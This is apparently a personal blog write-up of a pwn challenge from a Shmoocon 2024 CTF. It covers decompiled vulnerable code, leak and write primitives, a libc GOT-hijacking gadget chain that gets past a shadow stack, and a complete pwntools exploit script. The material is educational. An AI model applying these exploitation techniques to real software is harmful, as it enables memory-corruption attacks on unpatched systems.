~ all posts ctf projects research
2452 words
12 minutes
Battelle @ Shmoocon 2024 -- Time Jump Planner
2024-01-13

Time Jump Planner was a pwn challenge written by playoff-rondo for Battelle’s Shmoocon CTF. I solved first :)

tl;dr

bug review and building primitives#

1
00001875 int32_t main(int32_t argc, char** argv, char** envp)
2
3
00001875 {
4
0000188a void* fsbase;
5
0000188a int64_t var_10 = *(uint64_t*)((char*)fsbase + 0x28);
6
00001890 int32_t year = 0x7e7;
7
000018a8 void dial;
8
000018a8 memset(&dial, 0, 0x28);
9
000018b4 setup(&dial);
10
000018c3 puts("Time Jump Planner v1.2");
11
000018d5 while (true)
12
000018d5 {
13
000018de switch (((int32_t)menu(year)))
14
000018c8 {
15
000018fe case 0:
16
000018fe {
17
000018fe continue;
18
000018fe }
19
00001908 case 1:
20
00001908 {
21
00001908 add(&dial);
22
0000190d continue;
23
0000190d }
24
00001916 case 2:
25
00001916 {
26
00001916 remove_year(&dial);
27
0000191b continue;
28
0000191b }
29
0000192b case 3:
25 collapsed lines
30
0000192b {
31
0000192b quick_jump(&dial, &year);
32
00001930 continue;
33
00001930 }
34
00001939 case 4:
35
00001939 {
36
00001939 manual_jump(&year);
37
0000193e continue;
38
0000193e }
39
00001947 case 5:
40
00001947 {
41
00001947 list(&dial);
42
0000194c continue;
43
0000194c }
44
000018fe case 6:
45
000018fe {
46
000018fe break;
47
000018fe break;
48
000018fe }
49
000018fe }
50
000018fe }
51
00001958 puts("Good Bye");
52
00001962 exit(0);
53
00001962 /* no return */
54
00001962 }
1
0000169b int64_t manual_jump(int32_t* arg1)
2
3
0000169b {
4
000016ab void* fsbase;
5
000016ab int64_t rax = *(uint64_t*)((char*)fsbase + 0x28);
6
000016ba int32_t var_48 = 1;
7
000016cb puts("Manual Jump Mode:");
8
000016df printf("Enter Year: ");
9
000016fa int32_t var_4c;
10
000016fa __isoc99_scanf("%d%*c", &var_4c);
11
00001709 puts("Describe location:");
12
0000171d printf("\tEnter number of characters of …");
13
00001738 __isoc99_scanf("%d%*c", &var_48);
14
00001743 if (var_48 > 0x1e)
15
00001740 {
16
00001745 var_48 = 0x1e;
17
00001745 }
18
00001765 void var_42;
19
00001765 sprintf(&var_42, "%%%ds", ((uint64_t)var_48), "%%%ds");
20
00001779 printf("\tEnter location: ");
21
00001791 void var_38;
22
00001791 __isoc99_scanf(&var_42, &var_38, &var_38);
23
000017ae printf("Jumping to Year %u at %s\n", ((uint64_t)var_4c), &var_38);
24
000017ba *(uint32_t*)arg1 = var_4c;
25
000017bc getchar();
26
000017cf if (rax == *(uint64_t*)((char*)fsbase + 0x28))
27
000017c6 {
28
000017d7 return (rax - *(uint64_t*)((char*)fsbase + 0x28));
29
000017c6 }
3 collapsed lines
30
000017d1 __stack_chk_fail();
31
000017d1 /* no return */
32
000017d1 }
1
000015ae int64_t quick_jump(int64_t* arg1, int32_t* arg2)
2
3
000015ae {
4
000015c2 void* fsbase;
5
000015c2 int64_t rax = *(uint64_t*)((char*)fsbase + 0x28);
6
000015db puts("Quick Jump:");
7
000015ef printf("Index: ");
8
0000160a int32_t var_14;
9
0000160a __isoc99_scanf("%d%*c", &var_14);
10
0000161c if ((var_14 <= 0xa && var_14 >= 0))
11
0000161a {
12
00001660 printf("Jumping to Year %lu at current l…", arg1[((int64_t)var_14)]);
13
00001682 *(uint32_t*)arg2 = ((int32_t)arg1[((int64_t)var_14)]);
14
00001692 if (rax == *(uint64_t*)((char*)fsbase + 0x28))
15
00001689 {
16
0000169a return (rax - *(uint64_t*)((char*)fsbase + 0x28));
17
00001689 }
18
00001694 __stack_chk_fail();
19
00001694 /* no return */
20
00001694 }
21
00001628 puts("Invalid Index!");
22
00001632 exit(0);
23
00001632 /* no return */
24
00001632 }

There are a few different bugs around but I took advantage of two in my exploit. A sprintf buffer overflow found in manual_jump and a minor out of bounds read present in quick_jump.

The buffer overread is present in most operations on the dial array. It is a bounds-checked buffer of 10 u32 numbers, however when indexed it is treated as an array of u64. The functions add, remove_year, and list all have this bug but it’s not particularly useful because things are otherwise interpreted as u32 (we can leak or set the lower four bytes for a bit of the stack frame, but the shadow stack means we can’t do anything interesting with the return pointer). There is one (that I found) useful leak with this bug — quick_jump will copy a year from the dial table to the year variable and print it as a u64.

1
def quick_jump_leak(r, index):
2
r.sendline(b"3")
3
r.sendline(str(index))
4
r.recvuntil(b" Year ")
5
leak = int(r.recvuntil(b" "))
6
r.recvuntil(b">>")
7
return leak

The second major bug was present in manual_jump. A user provided length was used for scanf %s width and the bounds checking was insufficient. The width was limited to a maximum of 0x1e but there were no limits on the lower bound allowing for 0 or negative %s widths. There are two ways to take advantage of this (that i’m aware of) — a width of 0 (%0s) is equivalent to %s (causing a stack buffer overflow) and a width of -1 (%-1s) will not read bytes or place a terminating null byte.

I used %-1s to leak a stack pointer from the now uninitialized buffer like so:

1
r.sendline(b"4")
2
r.sendline(b"1337")
3
r.sendline(b"-1")
4
r.sendline(b"A5")
5
r.recvuntil(b"Year 1337 at ")
6
manual_jump_rbp = u64(r.recvline().rstrip().ljust(8,b'\x00')) - 0x118
7
r.recvuntil(b">>")
8
r.recvuntil(b">>")

I used %0s to build a write primitive. Due to the shadow stack I was unable to ROP and achieving code execution was nontrivial. With our previous leaks we can overflow past the saved RIP and canary — and then modify the saved RBP. Once we return to the caller function local variables are referenced relative to RBP — and we can easily build an arbitrary write primitive in many different ways. I chose to use manual_jump so that after the write I could use the buffer overflow to repair RBP to the original value.

1
def manual_jump_rbp_overwrite(r, year, target, should_fault=False):
2
encoded_rbp = p64(target + 0x34)
3
if b'\x0c' in encoded_rbp or b'\x20' in encoded_rbp or b'':
4
print("cant do whitespace :(")
5
exit(1)
6
r.sendline(b"4")
7
r.sendline(str(year))
8
r.sendline(b"0")
9
r.sendline(flat({
10
16: 0x5add011,
11
24: manual_jump_rbp+0x48,
12
40: 0x41414141 if should_fault else canary,
13
48: target + 0x34,
14
56: pie_base+0x193e,
15
80: 0x6942069420-1,
16
200: "please_give_me_flag\x00",
17
},length=256))
18
try:
19
r.recvuntil(b">>")
20
except: # recvuntil will eof after it has crashed
21
pass
22
23
def write_u32(r, address, value, should_fault=False):
24
log.info(f"writing u32 {hex(value)} to {hex(address)}")
25
manual_jump_rbp_overwrite(r, 0, address)
26
manual_jump_rbp_overwrite(r, value & 0xffffffff, manual_jump_rbp, should_fault=should_fault)

arbitrary write… now what?#

At this point we have the following capabilities:

In most cases the challenge would be essentially over — arbitrary write is a powerful primitive, right? Just drop a one gadget over function pointers until something matches the constraints? In this case we’re still at the beginning of the challenge. As mentioned earlier, the binary is running inside QEMU with a plugin that does three things:

To get the flag we need to be able to make a syscall with control of the first two arguments — controlling rax, rdi, and rsi (or use the libc syscall function and control rdi, rsi, and rdx). However, the tools to do that are extremely scarce. I was stuck here for a long time with many failed approaches. After many failed approaches I came across a writeup on libc GOT hijacking. I’m familiar with the use of the libc GOT as a replacement for free_hook/malloc_hook to call a controlled function but I’d never considered using it for a code reuse attack.

The technique is roughly similar to GOP/JOP except it uses calls into the GOT as the method of directing control flow.

1
> cargo run -- ~/chrononaut-shmoo-24/time_jump/jump_planner_release/libc.so.6 | wc -l
2
34704

For example, this is the first gadget of my chain which I used to shift the stack upwards to the controlled area:

1
000d059b 4881c4f8000000 add rsp, 0xf8
2
000d05a2 5b pop rbx {__saved_rbx}
3
000d05a3 5d pop rbp {__saved_rbp}
4
000d05a4 415c pop r12 {__saved_r12}
5
000d05a6 415d pop r13 {__saved_r13}
6
000d05a8 415e pop r14 {__saved_r14}
7
000d05aa 415f pop r15 {__saved_r15}
8
000d05ac e90f80f5ff jmp jumps_wcscmp

The address of the next gadget would be placed in the GOT entry for wcscmp, which would end in a call to another GOT entry and so on.

This technique has a rather significant fundamental limitation in that each GOT entry can only be used once or you’ll create a cycle — but in practice I found that wasn’t a huge issue and it was relatively straightforward to control the first three arguments (at which point you could instead call mprotect and run shellcode). The larger limitation is that you can’t clobber a GOT entry if your write primitive calls it or you’ll trigger your chain early and likely crash. I did this manually as I was writing my chain but it should be easy enough to automate in GDB (drop a tracepoint on each plt stub and check hitcounts? The GDB plugin API should be sufficient… I’ll probably write something up when I have time) and exclude those gadgets.

Building the chain#

As mentioned earlier, my first gadget was intended to shift the stack to the controlled area. Although some registers were set, the data on stack was uncontrolled. Coincidentally, this gadget left rsp pointing directly to the start of the controlled stack data.

1
000d059b 4881c4f8000000 add rsp, 0xf8
2
000d05a2 5b pop rbx {__saved_rbx}
3
000d05a3 5d pop rbp {__saved_rbp}
4
000d05a4 415c pop r12 {__saved_r12}
5
000d05a6 415d pop r13 {__saved_r13}
6
000d05a8 415e pop r14 {__saved_r14}
7
000d05aa 415f pop r15 {__saved_r15}
8
000d05ac e90f80f5ff jmp jumps_wcscmp

My second gadget was intended to populate rdx with 0x6942069420 — the magic value for the second argument to the backdoor function. My stack control used sprintf which limited the bytes which could be written to non-whitespace bytes. I used this gadget which read data from the stack and then added 1 to rdx.

1
0005139f 488b542450 mov rdx, qword [rsp+0x50 {var_878_1}]
2
000513a4 4b8d3c08 lea rdi, [r8+r9]
3
000513a8 4c89fe mov rsi, r15
4
000513ab 48894c2440 mov qword [rsp+0x40 {var_888_4}], rcx
5
000513b0 4c894c2420 mov qword [rsp+0x20 {var_8a8_6}], r9
6
000513b5 4883c201 add rdx, 0x1
7
000513b9 4c89442428 mov qword [rsp+0x28 {var_8a0_6}], r8
8
000513be e86d70fdff call jumps_memmove

The next gadget popped from the stack into a variety of registers — although none of these registers are directly used in the backdoor call I found a couple gadgets which moved from r registers.

1
0013076c 5b pop rbx {__saved_rbx}
2
0013076d 5d pop rbp {__saved_rbp}
3
0013076e 415c pop r12 {__saved_r12}
4
00130770 415d pop r13 {__saved_r13}
5
00130772 415e pop r14 {__saved_r14}
6
00130774 e9077eefff jmp jumps___strcasecmp

The last two gadgets are fairly straightforward and just move from r13/r14 into rdi/rsi — at which pointer we have set up registers appropriately and can call syscall.

1
000c651c 4c89f6 mov rsi, r14
2
000c651f 4889d7 mov rdi, rdx
3
000c6522 4d01e6 add r14, r12
4
000c6525 48891424 mov qword [rsp {var_1a8}], rdx
5
000c6529 e85221f6ff call jumps_wcsnlen
6
7
0011de45 4c89ef mov rdi, r13
8
0011de48 41bc01000000 mov r12d, 0x1
9
0011de4e e89da7f0ff call jumps_rindex

I used __stack_chk_fail to trigger my GOP chain because it is a relatively simple function with a slim stack frame which made it easier to access the controlled section of the stack from the gadgets. On the last write when the start of the chain was written I intentionally corrupted the canary to start the chain with a shorter stack frame.

notes, thoughts, other approaches#

It’s worth noting that this type of attack isn’t limited to just libc — it can be applied to any ELF with a writeable (non full RELRO) GOT (although in practice libc is big and consistently available). If a more complex chain were needed and more libraries were available then a chain could be built across multiple library GOT sections.

1
cargo run -- ~/chrononaut-shmoo-24/time_jump/jump_planner_release/ld-linux-x86-64.so.2 | wc -l
2
1395

I had a lot of trouble with whitespace management. The author writeup used a double call gadget to call gets at the start — leaving a much more manageable constraint (no newlines)

1
001187f2 e839fcf0ff call jump_memmove
2
001187f7 be2f000000 mov esi, 0x2f
3
001187fc 4c89ef mov rdi, r13
4
001187ff e8ecfdf0ff call jump_strrchr

Although during the event I found gadgets using a binary ninja script — after the fact I wrote a gadget finder which has no proprietary dependencies and can find gadgets including partial instructions. I make no promises about code quality, general maintained-ness, or really anything — i just thought it would be cool and slammed it together but im super busy :(

This was a challenge from the Battelle booth at Shmoocon 2024 — I like their recruiting CTF challenges and generally learn something cool when solving them. Also they gave out a really cool badge. If you’re interested you can find their cybersecurity careers page here. This is a no bias shill :) I do not work there.

a blue badge with LEDs which says Ohio Chrononaut Institute

final script#

1
#!/usr/bin/env python3
2
3
from pwn import *
4
5
exe = ELF("./jump_planner_patched")
6
libc = ELF("./libc.so.6")
7
ld = ELF("./ld-linux-x86-64.so.2")
8
9
context.terminal = ["zellij", "action", "new-pane", "-d", "right", "-c", "--", "zsh", "-c"]
10
context.binary = exe
11
context.bits = 64
12
13
def conn():
14
if args.LOCAL:
15
r = process(['./run'])
16
elif args.GDB:
17
r = gdb.debug([exe.path], gdbscript="")
18
else:
19
r = remote("jump.chrononaut.xyz", 5000)
20
21
return r
22
23
24
def quick_jump_leak(r, index):
25
r.sendline(b"3")
26
r.sendline(str(index))
27
r.recvuntil(b" Year ")
28
leak = int(r.recvuntil(b" "))
29
r.recvuntil(b">>")
116 collapsed lines
30
return leak
31
32
def chunks(lst, n):
33
"""Yield successive n-sized chunks from lst."""
34
for i in range(0, len(lst), n):
35
yield lst[i:i + n]
36
37
def main():
38
r = conn()
39
40
R_DEBUG_OFFSET = 0x3b118
41
42
pie_base = quick_jump_leak(r, 9) - exe.symbols['main']
43
libc.address = quick_jump_leak(r, 7) - 0x29d90
44
ld_address = libc.address + 0x29a000
45
canary = quick_jump_leak(r,5)
46
47
r.sendline(b"4")
48
r.sendline(b"1337")
49
r.sendline(b"-1")
50
r.sendline(b"A5")
51
r.recvuntil(b"Year 1337 at ")
52
manual_jump_rbp = u64(r.recvline().rstrip().ljust(8,b'\x00')) - 0x118
53
r.recvuntil(b">>")
54
r.recvuntil(b">>")
55
56
log.info(f"manual_jump_rbp @ {hex(manual_jump_rbp)}")
57
log.info(f"pie_base @ {hex(pie_base)}")
58
log.info(f"libc.address @ {hex(libc.address)}")
59
log.info(f"canary @ {hex(canary)}")
60
61
62
def manual_jump_rbp_overwrite(r, year, target, should_fault=False):
63
encoded_rbp = p64(target + 0x34)
64
if b'\x0c' in encoded_rbp or b'\x20' in encoded_rbp or b'':
65
print("cant do whitespace :(")
66
exit(1)
67
r.sendline(b"4")
68
r.sendline(str(year))
69
r.sendline(b"0")
70
r.sendline(flat({
71
16: 0x5add011,
72
24: manual_jump_rbp+0x48,
73
40: 0x41414141 if should_fault else canary,
74
48: target + 0x34,
75
56: pie_base+0x193e,
76
80: 0x6942069420-1,
77
200: "please_give_me_flag\x00",
78
},length=256))
79
try:
80
r.recvuntil(b">>")
81
except: # recvuntil will eof after it has crashed
82
pass
83
84
def write_u32(r, address, value, should_fault=False):
85
log.info(f"writing u32 {hex(value)} to {hex(address)}")
86
manual_jump_rbp_overwrite(r, 0, address)
87
manual_jump_rbp_overwrite(r, value & 0xffffffff, manual_jump_rbp, should_fault=should_fault)
88
89
ADJUST_STACK = 0x000d059b # jumps to wcscmp
90
# 000d059b 4881c4f8000000 add rsp, 0xf8
91
# 000d05a2 5b pop rbx {__saved_rbx}
92
# 000d05a3 5d pop rbp {__saved_rbp}
93
# 000d05a4 415c pop r12 {__saved_r12}
94
# 000d05a6 415d pop r13 {__saved_r13}
95
# 000d05a8 415e pop r14 {__saved_r14}
96
# 000d05aa 415f pop r15 {__saved_r15}
97
# 000d05ac e90f80f5ff jmp jumps_wcscmp
98
99
RDX_GADGET = libc.address + 0x0005139f
100
# is a little screwy bc the needed rdx is 0x6942069420 which contains whitespace
101
# 0005139f 488b542450 mov rdx, qword [rsp+0x50 {var_878_1}]
102
# 000513a4 4b8d3c08 lea rdi, [r8+r9]
103
# 000513a8 4c89fe mov rsi, r15
104
# 000513ab 48894c2440 mov qword [rsp+0x40 {var_888_4}], rcx
105
# 000513b0 4c894c2420 mov qword [rsp+0x20 {var_8a8_6}], r9
106
# 000513b5 4883c201 add rdx, 0x1
107
# 000513b9 4c89442428 mov qword [rsp+0x28 {var_8a0_6}], r8
108
# 000513be e86d70fdff call jumps_memmove
109
110
BIG_POP_GADGET = libc.address + 0x0013076c # jumps to strcasecmp
111
# 0013076c 5b pop rbx {__saved_rbx}
112
# 0013076d 5d pop rbp {__saved_rbp}
113
# 0013076e 415c pop r12 {__saved_r12}
114
# 00130770 415d pop r13 {__saved_r13}
115
# 00130772 415e pop r14 {__saved_r14}
116
# 00130774 e9077eefff jmp jumps___strcasecmp
117
118
MOV_RSI_R14 = libc.address + 0x000c651c
119
# 000c651c 4c89f6 mov rsi, r14
120
# 000c651f 4889d7 mov rdi, rdx
121
# 000c6522 4d01e6 add r14, r12
122
# 000c6525 48891424 mov qword [rsp {var_1a8}], rdx
123
# 000c6529 e85221f6ff call jumps_wcsnlen
124
125
MOV_RDI_R13 = libc.address + 0x0011de45 # calls rindex
126
# 0011de45 4c89ef mov rdi, r13
127
# 0011de48 41bc01000000 mov r12d, 0x1
128
# 0011de4e e89da7f0ff call jumps_rindex
129
130
131
write_u32(r, libc.address + 0x219148, libc.symbols['syscall']) # rindex
132
write_u32(r, libc.address + 0x219190, MOV_RDI_R13) #wcsnlen
133
write_u32(r, libc.address + 0x219110-1, ( MOV_RSI_R14 & 0xffffffff) << 8) # strcasecmp
134
# have to offset this by one bc the address contains whitespace
135
write_u32(r, libc.address + 0x219068, BIG_POP_GADGET) # memmove
136
write_u32(r, libc.address + 0x219130, RDX_GADGET) # wcscmp
137
write_u32(r, libc.address + 0x219098, libc.address + ADJUST_STACK, should_fault=True)#) # strlen
138
139
# good luck pwning :)
140
141
r.interactive()
142
143
144
if __name__ == "__main__":
145
main()